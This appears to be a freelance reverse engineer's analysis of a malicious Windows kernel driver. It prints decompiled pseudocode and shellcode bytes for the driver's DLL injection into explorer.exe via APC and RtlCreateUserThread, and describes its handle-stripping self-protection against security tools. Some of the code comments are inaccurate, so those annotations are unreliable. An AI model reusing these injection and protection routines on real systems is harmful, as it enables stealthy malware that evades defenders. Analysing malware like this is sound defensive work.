Reverse Engineering a Malicious Kernel Driver: Callback Injection, APC, and Remote Thread Injection

About the author. I’m Colin Xiao — an independent reverse engineer, mostly working solo on contract jobs. I dig into compiled code of every kind, including but not limited to: Android and iOS apps, x86/x64/ARM native binaries, packers and obfuscators, DRM and license checks, network protocols and APIs, crypto and signature algorithms, malware, game binaries, and embedded/IoT firmware. I also handle large-scale data collection and vulnerability research. If you have any project in mind, I’d be glad to take it on — whatever it is, as long as it’s within my wheelhouse. Just reach out. You can reach me on X at @colinxiao_lab or on Telegram at https://t.me/ColinXiao666.

This research is published for educational and defensive purposes. The target sample is anonymized throughout.

This is an analysis report on a recent kernel driver sample.

Architecture

The malicious sample is a kernel attack framework that combines multi-level system callback mechanisms with hybrid injection techniques. Reverse engineering shows the core is built on Windows’ kernel callback system, using an “active + passive” dual attack mode for reliability.

Sample architecture (1) Sample architecture (2)

Technical analysis (static)

Passive process-callback injection

The sample registers a PsSetLoadImageNotifyRoutine callback — a legitimate Windows kernel interface that notifies a driver whenever the system maps any executable image (DLL or EXE) into a process address space.

When the loader (typically LdrLoadDll in ntdll.dll, or the boot-time image loader) is about to map a PE into a process, the kernel walks the registered callback list and calls each callback. This mechanism is meant for antivirus and system-monitoring tools, but here it’s abused to detect a specific DLL load timing.

Image-load callback

The malicious logic in the callback:

  • Checks whether the loaded image path contains \System32\ or \SysWOW64\ to identify system DLL loads
  • Uses PsGetProcessWow64Process to determine 32- vs 64-bit
  • When explorer.exe, taskmgr.exe, or perfmon.exe loads a system DLL, triggers the injection

Partial pseudocode:

void __fastcall NotifyRoutine(__int64 FullImageName, __int64 ProcessId, __int64 ImageInfo)
{
    __int64 currentIrql;
    PEPROCESS currentProcess;
    BOOLEAN isWow64Process;
    PEPROCESS targetProcess;
    BOOLEAN shouldInject;
    NTSTATUS status;
    __int64 lastBackslashPos;
    __int64 ldrLoadDllAddr;


    __int64 securityCookie;
    PEPROCESS processObject = NULL;
    PFILE_OBJECT fileObject = NULL;
    PUNICODE_STRING dosName = NULL;

    // hardcoded string arrays
    WCHAR system32Path[] = L"\\System32\\";
    WCHAR syswow64Path[] = L"\\SysWOW64\\";

    // check the PID is valid (exclude special PIDs like 0 and 3)
    if (ProcessId != 0 && ProcessId != 3)
    {
        // must be at PASSIVE_LEVEL IRQL and not a signed image (skip signed system files)
        currentIrql = KeGetCurrentIrql();
        if (currentIrql == 0 && (*(DWORD*)ImageInfo & 0x100) == 0)
        {
            if (FullImageName)
            {
                // get the image path string
                PWCH imagePath = *(PWCH*)(FullImageName + 8);
                if (imagePath)
                {
                    // is it a DLL under System32?
                    if (wcsstr(imagePath, system32Path))
                    {
                        currentProcess = IoGetCurrentProcess();
                        if (PsGetProcessWow64Process(currentProcess))
                        {
                            isWow64Process = TRUE;  // 32-bit process
                            goto CHECK_PROCESS;
                        }
                    }

                    // is it a DLL under SysWOW64 (32-bit system dir)?
                    if (wcsstr(imagePath, syswow64Path))
                    {
                        targetProcess = IoGetCurrentProcess();
                        if (!PsGetProcessWow64Process(targetProcess))
                        {
                            isWow64Process = FALSE; // 64-bit process

CHECK_PROCESS:
                            processObject = NULL;
                            fileObject = NULL;
                            shouldInject = FALSE;
                            dosName = NULL;

                            // get the process object from the PID
                            status = PsLookupProcessByProcessId((HANDLE)ProcessId, &processObject);
                            if (NT_SUCCESS(status))
                            {
                                // get the process's file object (its executable)
                                status = PsReferenceProcessFilePointer(processObject, &fileObject);
                                if (NT_SUCCESS(status))
                                {
                                    // get the DOS device name (e.g. \Device\HarddiskVolume1\...)
                                    IoQueryFileDosDeviceName(fileObject, &dosName);
                                    ObfDereferenceObject(fileObject);
                                }

                                if (dosName)
                                {
                                    // find the last backslash in the path
                                    lastBackslashPos = FindLastDash(dosName->Buffer, L'\\');
                                    if (lastBackslashPos != -1)
                                    {
                                        // the filename after the backslash
                                        PWCH fileName = (PWCH)(dosName->Buffer + (lastBackslashPos + 1));

                                        // is it a target process?
                                        if (_wcsicmp(fileName, L"explorer.exe") == 0 ||
                                            _wcsicmp(fileName, L"taskmgr.exe") == 0 ||
                                            _wcsicmp(fileName, L"perfmon.exe") == 0)
                                        {
                                            shouldInject = TRUE;
                                        }
                                    }

                                    ExFreePoolWithTag(dosName, 0);
                                }

                                ObfDereferenceObject(processObject);

                                if (shouldInject)
                                {
                                    // find LdrLoadDll in the loaded image
                                    // ImageInfo + 8 is likely the image base
                                    ldrLoadDllAddr = FindLdrLoadDll(*(__int64*)(ImageInfo + 8), "LdrLoadDll");

                                    // only inject into 64-bit processes
                                    if (!isWow64Process)
                                    {
                                        // APC-inject a specific DLL
                                        ApcInject(ProcessId,
                                                 L"C:\\ProgramData\\[redacted]\\[redacted].dll",
                                                 ldrLoadDllAddr,
                                                 NULL);
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }

        // security cookie check (stack protection)
        sub_140002350((unsigned __int64)&securityCookie ^ v22);
    }
}

The sample injects into the target via APC:

APC injection

An example of the APC-injection principle (safety checks omitted):

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    PKAPC pKapc = ExAllocatePool(NonPagedPool, sizeof(KAPC));
    memset(pKapc, 0, sizeof(KAPC));


    PETHREAD pEthread = NULL;
    NTSTATUS status = PsLookupThreadByThreadId(processId, &pEthread);

    KeInitializeApc(pKapc, pEthread, OriginalApcEnvironment, (PKKERNEL_ROUTINE)TestRoutine, NULL, NULL, KernelMode, NULL);
    KeInsertQueueApc(pKapc, NULL, NULL, 0);
    ExFreePool(pKapc);
    ObDereferenceObject(pEthread);
    DriverObject->DriverUnload = UnloadDriver;

    return STATUS_SUCCESS;
}

The sample’s FindLdrLoadDll, recovered:

unsigned __int64 __fastcall FindLdrLoadDll(unsigned __int64 moduleBase, __int64 functionName)
{
    __int64 result; // rdi
    __int64 ntHeaderOffset; // rdx
    __int16 magic; // r8
    __int64 optionalHeaderPtr; // rax
    __int64 exportDirectoryOffset; // rcx
    __int64 dataDirectoryPtr; // rax
    IMAGE_DATA_DIRECTORY* exportDirectory; // rsi
    unsigned __int64 exportAddressTable; // r13
    unsigned __int64 exportNameTable; // rcx
    __int64 i; // r15
    unsigned __int64 currentFunctionName; // r12
    __int64 nameLength; // rax
    __int64 nameLength2; // rax
    __int64 nameLength3; // rax
    unsigned __int64 exportOrdinalTable; // [rsp+20h] [rbp-68h]
    unsigned __int64 nameTableCopy; // [rsp+A8h] [rbp+20h]

    // argument check: module base and function name must be non-null
    if (!moduleBase || !functionName)
        return 0LL;

    result = 0LL;

    // parse the PE header
    // get the NT header offset (e_lfanew)
    ntHeaderOffset = *(int *)(moduleBase + 60);  // e_lfanew in the DOS header

    // get the optional-header magic (IMAGE_NT_HEADERS->OptionalHeader.Magic)
    magic = *(_WORD *)(ntHeaderOffset + moduleBase + 4 + 16);  // 4 = Signature, 16 = FileHeader

    // optional-header pointer
    optionalHeaderPtr = ntHeaderOffset + moduleBase + 24;  // 24 = sizeof(DOS_HEADER) + 4

    exportDirectoryOffset = 0LL;

    // adjust the export-directory offset by PE type (32/64-bit)
    // 332 = IMAGE_NT_OPTIONAL_HDR64_MAGIC (0x20b)
    if (magic != 0x20B)  // not 64-bit, likely 32-bit PE
        exportDirectoryOffset = optionalHeaderPtr;

    if (exportDirectoryOffset)
    {
        // 64-bit PE: DataDirectory at the end of the optional header
        dataDirectoryPtr = exportDirectoryOffset + 112;  // 112 = sizeof(IMAGE_OPTIONAL_HEADER64) - 128
    }
    else
    {
        // 32-bit PE or other
        dataDirectoryPtr = ntHeaderOffset + moduleBase + 120;  // 32-bit PE DataDirectory position
        if (magic != 0x20B)
            dataDirectoryPtr = 96LL;  // some special cases
    }

    exportDirectory = (IMAGE_DATA_DIRECTORY *)(moduleBase + *(unsigned int *)dataDirectoryPtr);

    if (exportDirectory)
    {
        exportAddressTable = moduleBase + (unsigned int)exportDirectory[8];  // AddressOfFunctions
        exportNameTable = moduleBase + (unsigned int)exportDirectory[9];     // AddressOfNames
        nameTableCopy = exportNameTable;
        exportOrdinalTable = moduleBase + (unsigned int)exportDirectory[10]; // AddressOfNameOrdinals

        // iterate all exported function names
        for (i = 0LL; (unsigned int)i < exportDirectory[7]; i = (unsigned int)(i + 1))  // NumberOfNames
        {
            currentFunctionName = moduleBase + *(unsigned int *)(exportNameTable + 4 * i);

            // check whether the address is in user space and valid (safe access from kernel mode)
            if (moduleBase >= MmUserProbeAddress)  // module base above user space (kernel space)
            {
                _mm_lfence();  // memory barrier

                if ((unsigned __int8)MmIsAddressValid(moduleBase + *(unsigned int *)(exportNameTable + 4 * i)))
                {
                    _mm_lfence();

                    nameLength2 = strlen((const char *)functionName);

                    if ((unsigned __int8)MmIsAddressValid(nameLength2 + currentFunctionName))
                    {
                        _mm_lfence();

                        // case-insensitive compare
                        nameLength3 = strlen((const char *)functionName);
                        if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength3) &&
                            !*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName))  // check the terminator
                        {
                            _mm_lfence();

                            // found it; return the address
                            // func addr = moduleBase + EAT[ordinal]
                            // ordinal = EOT[i]
                            return moduleBase + *(unsigned int *)(exportAddressTable +
                                    4LL * (exportDirectory[5] +  // Base
                                    (unsigned int)*(unsigned __int16 *)(exportOrdinalTable + 2LL * (unsigned int)i) - 1));
                        }
                    }
                }
                exportNameTable = nameTableCopy;  // restore the name-table pointer
            }
            else  // module in user space
            {
                _mm_lfence();

                // compare directly (user-space access assumed safe)
                nameLength = strlen((const char *)functionName);
                if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength) &&
                    !*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName))
                {
                    _mm_lfence();

                    return moduleBase + *(unsigned int *)(exportAddressTable +
                           4LL * *(unsigned __int16 *)(exportOrdinalTable + 2LL * (unsigned int)i));
                }
                exportNameTable = nameTableCopy;
            }
        }
    }
    return result;  // not found
}

Active remote-thread injection

The sample uses CreateSystemThread to create a system thread in kernel address space — a completely different execution context from a user-mode thread.

CreateSystemThread

A CreateSystemThread system thread runs in kernel mode with no associated user process context. It executes in the context of the System process (PID 4) with the highest kernel privileges (IRQL PASSIVE_LEVEL), is unaffected by the lifetime of any user process, and can’t be monitored by traditional user-mode security products.

Unlike passive injection, the active mode enumerates running processes, finds explorer.exe, and uses KeStackAttachProcess to attach to the target’s address space, then injects into explorer’s context.

Shellcode analysis

The sample actively injects shellcode into the target process, achieving fileless execution:

// prepare the shellcode template
                    // ymmword_140004088 etc. are predefined shellcode data templates
                    ShellcodeTemplate = ymmword_140004088;  // shellcode body

                    // set shellcode parameters:
                    // put the DLL-path UNICODE_STRING pointer into the template
                    *((__int64*)&ShellcodeTemplate + 3) = (__int64)DllPathUnicodeString;

                    // put the return-value memory pointer into the template
                    *((__int64*)&ShellcodeTemplate + 5) = (__int64)ReturnValueMemory;

                    // save LdrLoadDll address into a local
                    LdrLoadDllPointer = LdrLoadDllAddr;

                    // copy the template into the allocated memory
                    ShellcodeBuffer = (__m256*)ShellcodeMemory;
                    *ShellcodeBuffer = ShellcodeTemplate;

                    // set the function address and other fields in the shellcode
                    // write LdrLoadDll address into a specific offset
                    *(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllPointer; // offset 0x20

                    // set other unknown fields (likely calling convention / parameter info)
                    *(PULONG)((PBYTE)ShellcodeBuffer + 0x28) = dword_1400040B0;
                    *(PUSHORT)((PBYTE)ShellcodeBuffer + 0x2C) = word_1400040B4;
                    *(PUCHAR)((PBYTE)ShellcodeBuffer + 0x2E) = byte_1400040B6;

In IDA, 4883EC284831C94831D249B8000000000000000049B9000000000000000048B8 is the predefined shellcode data template (ymmword_140004088 etc.). Disassembled:

48 83 EC 28          sub     rsp, 28h
48 31 C9             xor     rcx, rcx
48 31 D2             xor     rdx, rdx
49 B8 00 00 00 00 00 00 00 00   mov r8, 0
49 B9 00 00 00 00 00 00 00 00   mov r9, 0
48 B8 00 00 00 00 00 00 00 00   mov rax, 0

In ActiveInjectDll, the shellcode is patched like this:

// copy the shellcode template into target-process memory
*ShellcodeBuffer = ShellcodeTemplate;  // copy the first 32 bytes

// patch the data segment (the next 32 bytes)
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllAddr;     // offset 0x20: function address
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x28) = (ULONG64)DllPathUnicodeString;  // DLL path
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x30) = (ULONG64)ReturnValueMemory;    // return-value address

Pseudocode analysis

The ActiveInjectDll pseudocode:

__int64 __fastcall ActiveInjectDll(__int64 TargetEprocess, __int64 DllPath)
{
    BOOLEAN IsWow64Process; // r8
    __int64 result; // rax
    __int64 LdrLoadDllAddr; // rsi - LdrLoadDll address
    NTSTATUS status; // edi - status code
    __int16 DllPathLength; // ax - DLL path length
    int field_unknown1; // ecx
    __int16 field_unknown2; // dx
    char field_unknown3; // r8
    __m256 *ShellcodeBuffer; // rax
    // RtlCreateUserThread function pointer
    __int64 (__fastcall *RtlCreateUserThread)(__int64, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, __m256 *, _QWORD, __int64 *, __int128 *);

    // locals
    SIZE_T AllocationSize; // [rsp+68h] [rbp-D0h] BYREF
    PUNICODE_STRING DllPathUnicodeString; // [rsp+70h] [rbp-C8h] BYREF
    HANDLE ProcessHandle; // [rsp+78h] [rbp-C0h] BYREF
    PVOID ShellcodeMemory; // [rsp+80h] [rbp-B8h] BYREF
    PVOID ReturnValueMemory; // [rsp+88h] [rbp-B0h] BYREF
    HANDLE ThreadHandle; // [rsp+90h] [rbp-A8h] BYREF
    CLIENT_ID ClientId; // [rsp+98h] [rbp-A0h] BYREF
    __m256 ShellcodeTemplate; // [rsp+A8h] [rbp-90h]
    __int64 LdrLoadDllPointer; // [rsp+C8h] [rbp-70h]
    CHAR RoutineName[16]; // [rsp+D8h] [rbp-60h] BYREF
    KAPC_STATE ApcState; // [rsp+E8h] [rbp-50h] BYREF

    // initialize locals
    ShellcodeMemory = NULL;
    DllPathUnicodeString = NULL;
    ReturnValueMemory = NULL;
    AllocationSize = 0;
    ThreadHandle = NULL;
    ProcessHandle = NULL;

    // check whether the target is a WoW64 (32-bit) process
    if (PsGetProcessWow64Process(TargetEprocess))
        return STATUS_INVALID_PARAMETER; // 0xC00000FB = 3221225659

    IsWow64Process = FALSE;

    // get LdrLoadDll in the target process
    LdrLoadDllAddr = GetFunctionAddressByName(TargetEprocess, "LdrLoadDll", IsWow64Process);
    if (!LdrLoadDllAddr)
        return STATUS_NOT_FOUND; // 0xC0000225 = 3221226021

    // open a process handle via the EPROCESS pointer
    result = ObOpenObjectByPointer(TargetEprocess,
                                   512LL,          // HandleAttributes (OBJ_KERNEL_HANDLE)
                                   0LL,            // PassedAccessState
                                   0x1FFFFFLL,     // DesiredAccess (PROCESS_ALL_ACCESS)
                                   PsProcessType,  // ObjectType
                                   0,              // AccessMode (KernelMode)
                                   &ProcessHandle);
    _mm_lfence();

    if (NT_SUCCESS(result))
    {
        // attach to the target process address space
        KeStackAttachProcess(TargetEprocess, &ApcState);

        // allocate the first block: for the shellcode
        AllocationSize = 4096;  // PAGE_SIZE
        status = ZwAllocateVirtualMemory((HANDLE)-1,           // ProcessHandle (current process)
                                         &ShellcodeMemory,
                                         0LL,
                                         &AllocationSize,
                                         MEM_COMMIT,
                                         PAGE_EXECUTE_READWRITE);

        if (status >= 0)
        {
            // allocate the second block: for the DLL path string
            AllocationSize = 4096;
            status = ZwAllocateVirtualMemory((HANDLE)-1,
                                             &DllPathUnicodeString,
                                             0LL,
                                             &AllocationSize,
                                             MEM_COMMIT,
                                             PAGE_READWRITE);
            if (status >= 0)
            {
                // allocate the third block: for the return value (DLL base)
                AllocationSize = 8;
                status = ZwAllocateVirtualMemory((HANDLE)-1,
                                                 &ReturnValueMemory,
                                                 0LL,
                                                 &AllocationSize,
                                                 MEM_COMMIT,
                                                 PAGE_READWRITE);
                if (status >= 0)
                {
                    // compute the DLL path length and build a UNICODE_STRING
                    DllPathLength = wcslen((PWSTR)DllPath);

                    UNICODE_STRING DllPathString;
                    DllPathString.Length = 2 * DllPathLength;           // byte length
                    DllPathString.MaximumLength = 2 * DllPathLength + 2; // including terminator
                    DllPathString.Buffer = (PWSTR)((PBYTE)DllPathUnicodeString + 1); // +1 likely alignment

                    // copy the UNICODE_STRING struct into the allocated memory
                    *DllPathUnicodeString = *(PUNICODE_STRING)&DllPathString;

                    // copy the DLL path string into the target process
                    sub_1400023C0((PBYTE)DllPathUnicodeString + 1,
                                  DllPath,
                                  2 * DllPathLength + 2);

                    // prepare the shellcode template
                    ShellcodeTemplate = ymmword_140004088;

                    *((__int64*)&ShellcodeTemplate + 3) = (__int64)DllPathUnicodeString;
                    *((__int64*)&ShellcodeTemplate + 5) = (__int64)ReturnValueMemory;

                    LdrLoadDllPointer = LdrLoadDllAddr;

                    ShellcodeBuffer = (__m256*)ShellcodeMemory;
                    *ShellcodeBuffer = ShellcodeTemplate;

                    *(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllPointer; // offset 0x20

                    *(PULONG)((PBYTE)ShellcodeBuffer + 0x28) = dword_1400040B0;
                    *(PUSHORT)((PBYTE)ShellcodeBuffer + 0x2C) = word_1400040B4;
                    *(PUCHAR)((PBYTE)ShellcodeBuffer + 0x2E) = byte_1400040B6;
                }
            }
        }

        // detach from the target process
        KeUnstackDetachProcess(&ApcState);

        // if allocation and setup succeeded
        if (status >= 0)
        {
            // get RtlCreateUserThread
            RtlInitUnicodeString((PUNICODE_STRING)RoutineName, L"RtlCreateUserThread");
            RtlCreateUserThread = (__int64 (__fastcall *)(__int64, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, __m256 *, _QWORD, __int64 *, __int128 *))
                                  MmGetSystemRoutineAddress((PUNICODE_STRING)RoutineName);

            if (RtlCreateUserThread)
            {
                ClientId = (CLIENT_ID){0};

                // create a remote thread in the target to run the shellcode
                status = RtlCreateUserThread(ProcessHandle,
                                             0LL,                // SecurityDescriptor
                                             0LL,                // CreateSuspended (FALSE)
                                             0LL,                // StackZeroBits
                                             0LL,                // StackReserve
                                             0LL,                // StackCommit
                                             ShellcodeMemory,    // StartAddress (shellcode)
                                             0LL,                // StartParameter
                                             &ThreadHandle,
                                             &ClientId);

                if (status >= 0)
                {
                    if (ThreadHandle)
                        ZwClose(ThreadHandle);
                }
            }
            else
            {
                status = STATUS_ENTRYPOINT_NOT_FOUND; // 0xC0000139 = -1073741637
            }
        }
        else
        {
            _mm_lfence();
        }

        ZwClose(ProcessHandle);

        return status;
    }

    return result;
}

Handle privilege-downgrade callback

The sample registers an ObRegisterCallback object-manager callback — a powerful mechanism that lets a driver monitor and intercept process/thread handle operations.

ObRegisterCallback

The callback shows the driver protects its own same-named process. Through this, the malicious driver can: prevent security tools from obtaining PROCESS_TERMINATE to kill the malicious process; block debuggers from getting PROCESS_VM_READ/PROCESS_VM_WRITE to read or modify its memory; monitor handle operations on specific processes; and give itself early warning.

Summary

The sample is a kernel attack framework: it registers a PsSetLoadImageNotifyRoutine callback to monitor system DLL loads, and uses ObRegisterCallback to downgrade handle privileges on its own process, blocking security tools from scanning or terminating it. Its core uses CreateSystemThread to create a kernel thread, actively enumerates and attaches to high-privilege processes like explorer.exe, and implants a malicious DLL via APC injection and RtlCreateUserThread.

Technical analysis (dynamic reproduction)

By manually loading the malicious driver, the DLL injection was reproduced:

Reproducing the injection (1) Reproducing the injection (2) Reproducing the injection (3)

Process protection was reproduced as well:

Reproducing process protection

Colin Xiao — I take on contract reverse-engineering work, and writeups like this are how I show what I can do. If you need help with anything in this space — including but not limited to the areas I cover above — I’m available. No project is too big or too small — if it’s reverse engineering and I can do it, I’ll take it. DM me on X (@colinxiao_lab) or Telegram (@ColinXiao666).

Get in touch